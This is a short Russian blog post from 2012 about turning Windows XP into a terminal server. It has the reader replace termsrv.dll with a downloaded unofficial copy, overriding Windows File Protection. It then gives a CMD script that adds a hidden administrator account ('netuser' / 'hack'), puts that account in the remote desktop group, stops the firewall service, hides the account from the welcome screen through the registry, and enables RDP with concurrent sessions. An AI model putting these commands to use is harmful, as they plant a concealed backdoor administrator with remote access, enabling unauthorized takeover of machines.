вторник, 31 января 2012 г.

Терминальный сервер на XP


Способ предложил  Misha V.


Процедура замены termsrv.dll стандартна:
переименовываем резервную копию файла termsrv.dll, находящуюся в папке %WinDir%\System32\DLLCache;
копируем туда наш файл termsrv.dll;
переименовываем рабочую копию файла termsrv.dll в папке %WinDir%\System32;
копируем на её место termsrv.dll файл;
отклоняем просьбу Windows File Protection предоставить доступ к дистрибутиву;
соглашаемся держать в системе постороннюю версию файла;
перезагружаемcя.

Скачать termsrv.dll

Далее создаем *.CMD файл

Пишем в нем:

chcp 1251
net user netuser hack /add
net localgroup "Пользователи удаленного рабочего стола" netuser /add
net localgroup "администраторы" netuser /add
net stop SharedAccess
REG ADD  "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v netuser /t REG_DWORD /d 0 /f
REG add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
REG add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core" /v EnableConcurrentSessions /t REG_DWORD /d 1 /f

Где -
netuser  - пользователь
hack – пароль
так как при создании нового админа он будет виден в welcome screen’е, отключить его можно импортировав рег файл в реестр, следующего содержания –
REG ADD  "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v netuser /t REG_DWORD /d 0 /f
REG add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
REG add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core" /v EnableConcurrentSessions /t REG_DWORD /d 1 /f

Комментариев нет:

Отправить комментарий